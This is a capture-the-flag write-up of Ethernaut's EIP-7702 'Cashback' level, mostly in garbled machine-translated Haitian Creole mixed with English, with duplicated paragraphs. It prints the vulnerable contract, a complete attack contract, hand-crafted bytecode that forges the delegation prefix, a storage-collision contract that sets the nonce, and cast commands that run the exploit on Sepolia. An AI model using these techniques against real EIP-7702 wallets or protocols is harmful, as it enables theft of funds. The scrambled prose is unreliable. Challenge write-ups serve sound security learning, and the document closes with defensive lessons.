Pandan ke moute nan nuans yo nan EIP-7702, mwen te travay nan challenge — yon skenè ki fèt yo tès si devlopè yo reyèlman konprann implikasyon yo sekirite nan 7702 ki baze sou delegasyon. Sou sifas la, repitasyon an sanble senp: yon pwogram cashback ki rekonpans itilizatè pou peman sou chaj la ak bay yon NFT yon fwa ase pwen yo akimile. Ethernaut Cashback Super Cashback nan Ethernaut Cashback Pou patisipe, itilizatè yo dwe delege nan kont la Cashback lè l sèvi avèk EIP-7702. Se sèlman Lè sa a, yo ka rele payWithCashback ak kòmanse fè pwen. Sistèm la sanble aplike kontwòl aksè estrikti, ak modifikasyon li yo sijere yon modèl sekirite klè. Nan reyalite, delegasyon an EIP-7702 kreye ti kras sekirite ki sa a defi se fèt yo demontre. Sa a ekri an kouvri ki jan kontra a ta dwe travay, kote asirans yo pa t 'ak ki jan chemen eksplike. Devlopman an https://ethernaut.openzeppelin.com/level/36 https://ethernaut.openzeppelin.com/level/36 Èske w te jis rantre nan Cashback, pi cho crypto neobank nan vil la. Pòt yo se irresistible: pou chak peman sou chaj ou fè, ou genyen pwen. Ranpli ase epi ou pral rive nan estati a legendar, ouvèti badj la Super Cashback NFT. The system leverages EIP-7702 to allow EOAs to accrue cashback. Users must delegate to the Cashback contract to use the Fòmasyon payWithCashback Rume a te gen li gen yon backdoor pou itilizatè pouvwa. Brief ou se senp: vin kout la nan pwogram la lojisyèl. Max soti lajan kach ou nan chak lajan ki sipòte ak ale ak omwen de Super Cashback NFT, youn nan yo dwe korespondan ak adrès jwè ou. Èske w te jis rantre nan Cashback, pi cho crypto neobank nan vil la. Pòt yo se irresistible: pou chak peman sou chaj ou fè, ou genyen pwen. Ranpli ase epi ou pral rive nan estati a legendar, ouvèti badj la Super Cashback NFT. The system leverages EIP-7702 to allow EOAs to accrue cashback. Users must delegate to the Cashback contract to use the Fòmasyon payWithCashback Rume a te gen li gen yon backdoor pou itilizatè pouvwa. Brief ou se senp: vin kout la nan pwogram la lojisyèl. Max soti lajan kach ou nan chak lajan ki sipòte ak ale ak omwen de Super Cashback NFT, youn nan yo dwe korespondan ak adrès jwè ou. // SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {ERC1155} from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import {TransientSlot} from "@openzeppelin/contracts/utils/TransientSlot.sol"; /*////////////////////////////////////////////////////////////// CURRENCY LIBRARY //////////////////////////////////////////////////////////////*/ type Currency is address; using {equals as ==} for Currency global; using CurrencyLibrary for Currency global; function equals(Currency currency, Currency other) pure returns (bool) { return Currency.unwrap(currency) == Currency.unwrap(other); } library CurrencyLibrary { error NativeTransferFailed(); error ERC20IsNotAContract(); error ERC20TransferFailed(); Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); function isNative(Currency currency) internal pure returns (bool) { return Currency.unwrap(currency) == Currency.unwrap(NATIVE_CURRENCY); } function transfer(Currency currency, address to, uint256 amount) internal { if (currency.isNative()) { (bool success,) = to.call{value: amount}(""); require(success, NativeTransferFailed()); } else { (bool success, bytes memory data) = Currency.unwrap(currency).call(abi.encodeCall(IERC20.transfer, (to, amount))); require(Currency.unwrap(currency).code.length != 0, ERC20IsNotAContract()); require(success, ERC20TransferFailed()); require(data.length == 0 || true == abi.decode(data, (bool)), ERC20TransferFailed()); } } function toId(Currency currency) internal pure returns (uint256) { return uint160(Currency.unwrap(currency)); } } /*////////////////////////////////////////////////////////////// CASHBACK CONTRACT //////////////////////////////////////////////////////////////*/ /// @dev keccak256(abi.encode(uint256(keccak256("Cashback")) - 1)) & ~bytes32(uint256(0xff)) contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 { using TransientSlot for *; error CashbackNotCashback(); error CashbackIsCashback(); error CashbackNotAllowedInCashback(); error CashbackOnlyAllowedInCashback(); error CashbackNotDelegatedToCashback(); error CashbackNotEOA(); error CashbackNotUnlocked(); error CashbackSuperCashbackNFTMintFailed(); bytes32 internal constant UNLOCKED_TRANSIENT = keccak256("cashback.storage.Unlocked"); uint256 internal constant BASIS_POINTS = 10000; uint256 internal constant SUPERCASHBACK_NONCE = 10000; Cashback internal immutable CASHBACK_ACCOUNT = this; address public immutable superCashbackNFT; uint256 public nonce; mapping(Currency => uint256 Rate) public cashbackRates; mapping(Currency => uint256 MaxCashback) public maxCashback; modifier onlyCashback() { require(msg.sender == address(CASHBACK_ACCOUNT), CashbackNotCashback()); _; } modifier onlyNotCashback() { require(msg.sender != address(CASHBACK_ACCOUNT), CashbackIsCashback()); _; } modifier notOnCashback() { require(address(this) != address(CASHBACK_ACCOUNT), CashbackNotAllowedInCashback()); _; } modifier onlyOnCashback() { require(address(this) == address(CASHBACK_ACCOUNT), CashbackOnlyAllowedInCashback()); _; } modifier onlyDelegatedToCashback() { bytes memory code = msg.sender.code; address payable delegate; assembly { delegate := mload(add(code, 0x17)) } require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback()); _; } modifier onlyEOA() { require(msg.sender == tx.origin, CashbackNotEOA()); _; } modifier unlock() { UNLOCKED_TRANSIENT.asBoolean().tstore(true); _; UNLOCKED_TRANSIENT.asBoolean().tstore(false); } modifier onlyUnlocked() { require(Cashback(payable(msg.sender)).isUnlocked(), CashbackNotUnlocked()); _; } receive() external payable onlyNotCashback {} constructor( address[] memory cashbackCurrencies, uint256[] memory currenciesCashbackRates, uint256[] memory currenciesMaxCashback, address _superCashbackNFT ) ERC1155("") { uint256 len = cashbackCurrencies.length; for (uint256 i = 0; i < len; i++) { cashbackRates[Currency.wrap(cashbackCurrencies[i])] = currenciesCashbackRates[i]; maxCashback[Currency.wrap(cashbackCurrencies[i])] = currenciesMaxCashback[i]; } superCashbackNFT = _superCashbackNFT; } // Implementation Functions function accrueCashback(Currency currency, uint256 amount) external onlyDelegatedToCashback onlyUnlocked onlyOnCashback{ uint256 newNonce = Cashback(payable(msg.sender)).consumeNonce(); uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS; if (cashback != 0) { uint256 _maxCashback = maxCashback[currency]; if (balanceOf(msg.sender, currency.toId()) + cashback > _maxCashback) { cashback = _maxCashback - balanceOf(msg.sender, currency.toId()); } uint256[] memory ids = new uint256[](1); ids[0] = currency.toId(); uint256[] memory values = new uint256[](1); values[0] = cashback; _update(address(0), msg.sender, ids, values); } if (SUPERCASHBACK_NONCE == newNonce) { (bool success,) = superCashbackNFT.call(abi.encodeWithSignature("mint(address)", msg.sender)); require(success, CashbackSuperCashbackNFTMintFailed()); } } // Smart Account Functions function payWithCashback(Currency currency, address receiver, uint256 amount) external unlock onlyEOA notOnCashback { currency.transfer(receiver, amount); CASHBACK_ACCOUNT.accrueCashback(currency, amount); } function consumeNonce() external onlyCashback notOnCashback returns (uint256) { return ++nonce; } function isUnlocked() public view returns (bool) { return UNLOCKED_TRANSIENT.asBoolean().tload(); } } Modèl sekirite ki fèt Kontrakte Cashback sèvi ak modifikateur yo kontwole Telefòn ak Kòd la ekzekite: who where : Caller identity checks : Ensures the caller is an EOA, not a contract ( ). onlyEOA() msg.sender == tx.origin onlyCashback(): Li asire ke rele se kont la Cashback tèt li. onlyNotCashback(): Asire ke rele se pa kont la Cashback. : Execution context checks onlyOnCashback(): Asire ke kòd la se kouri nan adrès kont Cashback la. Fonksyon ak modifye sa a ka kouri sèlman lè yo ap rele dirèkteman sou kont la. notOnCashback(): Asire ke kòd la pa te kouri nan adrès kont la Cashback. Sa vle di fonksyon an dwe kouri nan yon delegatecall, pa dirèkteman sou kont la. Prensipalman, sistèm la ta dwe travay tankou sa a: Yon EOA delege ap rele payWithCashback sou tèt li. Sa a travay paske apèl la rive nonOnCashback ak pase sèlmanEOA. PayWithCashback fonksyon an ap rele Cashback.accrueCashback dirèkteman sou instans la Cashback. Li gen twa modifikateur: onlyDelegatedToCashback pase paske apèl la delege nan Cashback, onlyOnCashback pase paske apèl la rive sou Cashback dirèkteman. onlyUnlocked modifier relasyon ak etap la 3. onlyUnlocked modifier apèl seUnlocked sou msg.sender. Pandan ke payWithCashback louvri li, sa a tcheke pase. Pandan egzèsis la, accrueCashback apèl consumeNonce sou msg.sender. Fonksyon sa a gen de modifiers: sèlmanCashback pase paske li se rele pa instans la Cashback, ak paOnCashback pase paske fonksyon sa a kouri nan konte a nan EOA a. Finalman, consumeNonce ogmante nonce nan depo a nan EOA a. Tcheke konstan Anvan nou ka atake, nou bezwen identifye paramèt kle yo ak adrès nan rezo a. valè sipòte Kontrakte Cashback sipòte de lajan. Malgre ke yo pa eksplisitman definye nan deskripsyon nan repitasyon an, nou ka jwenn yo: Pwodwi pou Telefòn Pwodwi pou Telefòn Pwodwi pou Telefòn Pwodwi pou Telefòn Pwodwi pou Telefòn Freedom Coin (FREE) nan 0x13AaF3218Facf57CfBf5925E15433307b59BCC37 Ou ka verifye sa a pa pran adrès la nivo ak tcheke Epi, lè yo rele . Kòd FREE() fonksyon Super Cashback nan NFT Ou ka jwenn adrès li pa rele sou instans Cashback ou. superCashbackNFT Maksimòm Cashback ak Cashback Rate To calculate the required spending for maximum cashback, we need two parameters. Find them by calling ak sou instans ou. Kontrakte a sèvi ak Pou kalkile pousantaj: maxCashback cashbackRates BASIS_POINTS = 10000 uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS; Pou egzanp, Freedom Coin gen yon max cashback nan Yon pousantaj nan (i.e. 2%). Pou kalkilasyon nan depans ki nesesè: 500e18 200 amount = maxCashback * BASIS_POINTS / rate amount = 500e18 * 10000 / 200 = 25000e18 Li se 25,000 gratis token. Nonse Starts at 0. The contract mints a Super Cashback NFT when your nonce reaches , ki se hardcoded nan 10,000. SUPERCASHBACK_NONCE Atak Malgre arsitektur la konplèks ki sanble imodirab nan premye gade, gen plizyè suppositions defecte nou ka eksplike. Looking at the architecture, we notice we can call malgre ke modifikasyon li yo fèt yo limite aksè nan apèl enteryè atravè , fonksyon an tèt li se ekstèn - se konsa nou ka rele li dirèkteman si nou sove gardi: accrueCashback payWithCashback onlyOnCashback Nou ka apeprè li pa rele instans la Cashback dirèkteman. onlyUnlocked Kòm sa a modifye apèl seUnlocked sou msg.sender, nou ka apeprè li pa apèl soti nan yon kontra ak yon fonksyon isUnlocked ki toujou retounen verite. se sèlmanDelegatedToCashback Sa a se yon tricky. Eseye li byen: modifier onlyDelegatedToCashback() { bytes memory code = msg.sender.code; address payable delegate; assembly { delegate := mload(add(code, 0x17)) } require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback()); _; } The modifier eseye verifye ke rele a te delege nan kont la Cashback pa li adrès la delege soti nan bytecode kont la. Avèk EIP-7702, kont delege gen yon bytecode espesyal: modifye li 20 byte sa yo (ki li espere yo dwe yon adrès) ak verifye ke yo koresponn ak adrès instans Cashback. onlyDelegatedToCashback 0xef0100 Yon bypass , nou bezwen bytecode a nan kontra a atak nou an yo sanble tankou yon nimewo delegasyon valab - espesyalman, adrès la Cashback dwe parèt nan byte 4-23. Struktura bytecode a: onlyDelegatedToCashback 0x??????<CASHBACK_ADDRESS>????...<rest_of_contract>. Nou pral sove sa a manyen pita. Premye, nou pral kreye kontra a atak. Preparing the Attack Contract Kòm diskite, kontra nou an pral rele tounen pa instans la Cashback de fwa: yo tcheke si li se louvri ak pou konsome nonce a. Nou bezwen asire ke li se toujou louvri ak retounen valè a mande pou yon SuperCashback NFT. Nou vle yon retounen plen pou tou de lajan, men depi NFT yo mete ak adrès la nan rele a kòm ID a, dezyèm la Telefòn la ta dwe retounen. Se konsa, nou pral retounen a nonce only once. consumeNonce accrueCashback 10,000 We'll set the currencies and the Cashback address as constants. Since we're calling dirèkteman, nou pa bezwen peye token reyèl - nou jis bezwen pase kantite lajan ki kòrèk pou jwenn maksimòm lajan an retounen. accrueCashback Finally, we'll transfer all cashback and the NFT to our player's address. Here's the complete contract: // SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {Currency, Cashback} from "./Cashback.sol"; contract AccrueCashbackAttack { Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); Currency public constant FREEDOM_COIN = Currency.wrap(0x13AaF3218Facf57CfBf5925E15433307b59BCC37); Cashback public constant CASHBACK_INSTANCE = Cashback(payable(0xf991E138bA49e25a7DA1a11A726077c77c6241A8)); bool nftMinted; function attack(address player) external { uint256 nativeMaxCashback = CASHBACK_INSTANCE.maxCashback(NATIVE_CURRENCY); uint256 freeMaxCashback = CASHBACK_INSTANCE.maxCashback(FREEDOM_COIN); // Calculate amounts required to reach max cashback for each currency uint256 BASIS_POINTS = 10000; // Basis points from Cashback uint256 nativeAmount = (nativeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(NATIVE_CURRENCY); uint256 freedomAmount = (freeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(FREEDOM_COIN); // Call accrueCashback to mint cashback tokens and SuperCashback NFT to the attack contract CASHBACK_INSTANCE.accrueCashback(NATIVE_CURRENCY, nativeAmount); CASHBACK_INSTANCE.accrueCashback(FREEDOM_COIN, freedomAmount); // Transfer cashback tokens from attack contract to player CASHBACK_INSTANCE.safeTransferFrom(address(this), player, NATIVE_CURRENCY.toId(), nativeMaxCashback, ""); CASHBACK_INSTANCE.safeTransferFrom(address(this), player, FREEDOM_COIN.toId(), freeMaxCashback, ""); // Transfer the SuperCashback NFT (minted with the attack contract's address as ID) IERC721 superCashbackNFT = IERC721(CASHBACK_INSTANCE.superCashbackNFT()); superCashbackNFT.transferFrom(address(this), player, uint256(uint160(address(this)))); } function isUnlocked() public pure returns (bool) { return true; } function consumeNonce() external returns (uint256) { // We can mint only one NFT, because they are minted with id of the contract if (nftMinted) { return 0; } nftMinted = true; return 10_000; } } Adjusting Bytecode to Bypass the Delegation Check Koulye a, nou ap vini nan pati a trik. Nou bezwen modifye bytecode pou pase nan modifier. Premye, kompile kontra ou. AccrueCashbackAttack onlyDelegatedToCashback If you're using Hardhat, the bytecode will be in Li gen de pwopriyete: artifacts/contracts/Attack.sol/AccrueCashbackAttack.json bytecode se kreyasyon (init) kòd ki te kouri yon fwa pandan deplwaman an. Li kouri logik la konstriktè ak retire kòd la kouri yo dwe estoke sou chaj la. is the runtime code stored on-chain after deployment and executed whenever the contract is called. This is what we'll modify. deployedBytecode Nou pral mete adrès instans Cashback nou an nan offset Pou egzak kote looks for it. The follows after: 0x03 onlyDelegatedToCashback deployedBytecode 0x??????<CASHBACK_ADDRESS>????<ATTACK_DEPLOYED_BYTECODE> Jwenn sou adrès la entegre Pou pase adrès la 20 byte pandan egzèsis nòmal, nou pral sèvi ak opsyon sa yo: PUSH1 pou spesifye destinasyon sa a Jump fè sa a Jump to mark the destination (required to avoid revert) JUMPDEST Nan fason sa a, sèlman modifier li nan . onlyDelegatedToCashback <CASHBACK_ADDRESS> Men, nan sa ki kompresyon nou ta dwe salpe? Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 ?? | PUSH ?? | [02] | 56 | JUMP | [03] | <CASHBACK_ADDRESS> | | [17] | ??? | ??? | Premyasyon an evidan men erè se Just apre Nan reyalite, repons la depann sou ki jan siksè ou se ak adrès instans Cashback ou. Permet m 'te montre ou poukisa. 0x17 <CASHBACK_ADDRESS> instansyon mwen se nan . So my contract could start like this: 0xf991E138bA49e25a7DA1a11A726077c77c6241A8 Cashback address ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓ 0x601756f991E138bA49e25a7DA1a11A726077c77c6241A85B ↑↑↑↑↑↑ ↑↑ PUSH + JUMP JUMPDEST Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 17 | PUSH 0x17 | [02] | 56 | JUMP | [03] | f991E138...c6241A8 | <Instance> | [17]? | 5B | JUMPDEST | However, let's see how this bytecode disassembles: Problèm! nan byte in our instance address is the opcode. Lè EVM a reyinyon , li konsome 30 byte sa yo kòm arguments literal, pa kòm enstriksyon yo. ( nan ) se pozisyon nan offset , men li se konsome kòm done pou anvan yo te kouri kòm yon enstriksyon. Sa a koroze flux la bytecode, ki fè yon when execution reaches that location. 0x7D PUSH30 PUSH30 JUMPDEST 5B 0x17 PUSH30 EVM error: InvalidJump Let's fix this. We'll add padding to push our deyò de 30 byte yo konsome pa : JUMPDEST PUSH30 Pafè! nan parèt nan 2a. Nou pral ajou nou instruction. My final version: JUMPDEST PUSH1 0x602a56f991E138bA49e25a7DA1a11A726077c77c6241A8000000000000000000000000000000000000005B<attack-bytecode> Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 2a | PUSH 0x2a | [02] | 56 | JUMP | [03] | f991E138...c6241A8 | <Instance> | [2a] | 5B | JUMPDEST | This prefix totals 43 bytes: (2) nan + (1) + (20) + (19) + (1) nan PUSH1 JUMP address padding JUMPDEST Ajiste Jump Kompensasyon Now we can add our . But since we increased the contract size by 43 bytes, we need to adjust all and kompense pa kantite lajan sa a. deployedBytecode JUMP JUMPI For demonstration, let's see how to do this manually. Go to , choose Bytecode, and paste your . On the right, you'll see the opcodes list. Find the first nan [0f]. Jwenn tout opcodes used by ak ak valè ki koresponn ak sa a and increase their values by 43. https://www.evm.codes/playground deployedBytecode JUMPDEST PUSH2 JUMP JUMPI JUMPDEST Metòd sa a se pa pafè - nou ka aksidan modifye valè ki pa sal sou destinasyon yo. Sepandan, fake pozitif yo ta dwe rare ase pou retounen sa a. PUSH2 Pwen de sa pou Push2? Paske gwosè a kontrè orijinal la te 3142 byte (0x0C46), destinasyon sal ka depase 255, se konsa kompilatè a dwe sèvi ak PUSH2 yo reprezante yo. Kompilatè a sèvi ak PUSH2 uniformman pou tout destinasyon sache anvan konbine PUSH1 ak PUSH2. Why PUSH2 ? Pandan ke gwosè kontrè orijinal la te 3142 byte (0x0C46), destinasyon sal ka depase 255, se konsa kompilatè a dwe itilize PUSH2 yo reprezante yo. Kompilatè a sèvi ak PUSH2 uniformman pou tout destinasyon sache anvan konbine PUSH1 ak PUSH2. Kòmanse sa a manyen ta dwe enpèmeyab, se konsa mwen te kreye yon script ki: Finds all opcodes and stores their initial and adjusted offsets JUMPDEST Finds all opcodes with values matching initial offsets and updates them to adjusted values PUSH2 JUMPDEST Ou ka jwenn script la pou otomatikman pwosesis sa a nan . repository repository Never blindly download ak execute koòd alantou, ki gen ladan sa a! Toujou revize ak konprann sa ou kouri. Sèvi ak anviwònman izolasyon tankou devcontainers oswa VMs lè eksperyans ak kòd ki pa konfyans. Never blindly download ak execute koòd alantou, ki gen ladan sa a! Toujou revize ak konprann sa ou kouri. Sèvi ak anviwònman izolasyon tankou devcontainers oswa VMs lè eksperyans ak kòd ki pa konfyans. Kreyasyon bytecode To deploy this contract, we need to craft creation bytecode. Let's modify the existing creation code. The valè nan artefakte gen l 'nan kòmansman an. Isit la se m ': Disassembling li montre: bytecode 0x6080604052348015600e575f5ffd5b50610c468061001c5f395ff3fe [10] PUSH2 0c46 This is the initial code length— . 0c46 3142 bytes We need to use our adjusted code length plus the 43 bytes we added manually. For me, that's (3185 bytes). The final creation code: 0C71 0x6080604052348015600e575f5ffd5b50610C718061001c5f395ff3fe ↑↑↑↑ Final Bytecode Assembly nan Kòd bytecode final la se senpleman kòd la kreyasyon konkate ak ajiste . deployedBytecode Kòmanse atak Nou pral deplwaye bytecode nou an lè l sèvi avèk soti nan Foundry: cast PRIVATE_KEY=0x{set-your-ethernaut-player-private-key} SEPOLIA_URL=https://{use-alchemy-or-infura} BYTECODE=0x{the-final-bytecode} YOUR_PLAYER_ADDRESS=0x{your-player-address} cast send --rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY --create $BYTECODE Kòmanse atak la: cast send $ATTACK_CONTRACT_ADDRESS \ "attack(address)" \ $YOUR_PLAYER_ADDRESS \ --rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY Tcheke tranzaksyon ou sou Etherscan. Ou ta dwe wè tranzaksyon enteryè ki gen rapò ak token cashback ak transfè NFT. Nan moman sa a, ou te jwenn maksimòm cashback pou tou de lajan ak te resevwa yon NFT. Sepandan, ID li koresponn ak adrès la nan kontra a atak ou, pa adrès jwè ou. Nou bezwen yon lòt NFT ak adrès ou kòm ID la. Eksploze kolizyon depo pou dezyèm NFT la We still need another NFT with our address as the ID. We can't simply repeat the same approach as in the previous attack. The only way is to actually execute kòm vle - pa delege EOA ou nan kont la Cashback. Sepandan, nou pa ka false fonksyon, se konsa nou bezwen ogmante nonse nou an nan yon lòt fason. payWithCashback consumeNonce EIP-7702 delegation doesn't create separate storage for each delegated contract. When an EOA delegates to a contract, the code executes against the EOA's own storage. If you delegate to different contracts over time, they all read and write to the same storage slots in your EOA. By exploiting this storage collision, we can manipulate the nonce. We'll create a contract that writes to the same storage slot, set the nonce to 9999, then re-delegate to Cashback and execute one more transaction to trigger the NFT mint. Remake ke kont la Cashback sèvi ak yon direksyon layout stockaj Customize pou pozisyon stockaj li nan yon slot espesifik. Sa a karakteristik, prezante nan Solidity 0.8.29, pèmèt kontra yo deplase varyab stockaj yo nan pozisyon arbitre. contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 { // ... constants and immutables uint256 public nonce; } The se premye varyab la nan layout la - tout varyab yo anvan yo konstan ak imutable, se konsa yo pa pran espas. Sepandan, soti nan OpenZeppelin pran 3 slots anvan Lè sa a, reyèl la se nan . Knowing this, let's inject a large nonce into our EOA storage. nonce ERC1155 nonce 0x442a9...ba03 Isit la se Kontrèman manipilasyon mwen deplwaye nan Sepolia: nonce contract NonceAttack layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba03 { uint256 public injectedNonce; // The next call to payWithCashback will increment it to 10_000 and we will get SuperCashback NFT function injectNonce() external { injectedNonce = 9999; } } Etap pwochen se delege EOA nou an nan Foundry's supports authorization transactions. Usually we'd have to request our account nonce, increment it by one, sign an authorization transaction, and only then send it. But since we're sending it ourselves, we can simply provide an authorization address. NonceAttack. cast cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth <NONCE_ATTACK_ADDRESS> Koulye a, nou ka mete nonce a lè l sèvi avèk . Remember, we call this function on ourselves, not on the instance: injectNonce() NonceAttack cast send $YOUR_PLAYER_ADDRESS \ "injectNonce()" \ --rpc-url $SEPOLIA_URL \ --private-key $PRIVATE_KEY Etap final nan atak Ak nonse a kounye a mete nan 9999 atravè exploitation kolizyon depo, etap la dènye nan atak an gen rapò ak re-delege nan kont la Cashback ak egzekite yon tranzaksyon plis yo pouse nonse a nan 10,000, ki pèmèt mining nan dezyèm SuperCashback NFT ak adrès jwè ou kòm ID li yo. Re-delege kont ou nan instans la Cashback. Sèvi ak etap yo menm jan ak NonceAttack: cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth <CASHBACK_ADDRESS> The Cashback contract provides a nonce function to check your nonce. Let's verify it's 9999: cast call $YOUR_PLAYER_ADDRESS \ "nonce()" \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL Kòmanse etap final la pa rele payWithCashback sou tèt ou: cast send $YOUR_PLAYER_ADDRESS \ "payWithCashback(address,address,uint256)" \ 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE \ 0x03dcb79ee411fd94a701ba88351fef8f15b8f528 \ 1 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL You now own 2 NFTs and maximum cashback. Submit the level! Epi anvan nou ale, pa bliye retire delegasyon an. cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth 0x0000000000000000000000000000000000000000 What We've Learned 1. Validate delegation the right way. Toujou tcheke Pandan EIP-3541, ki entèdi deplwaye kontra ki bytecode yo kòmanse ak 0xef, sa a prefik diferan konfyansman EOAs delege soti nan kontra arbitrè. 0xef0100 2. Never store protocol-critical state inside an EOA. Yon pwopriyete EOA ka delege nan nenpòt kontrè, ak kontrè sa a ka lib yo ekri nan menm slot depo - ki gen ladan moun ou ta ka asume yo prive. Tout estati sekirite-kritik dwe viv nan . your protocol's storage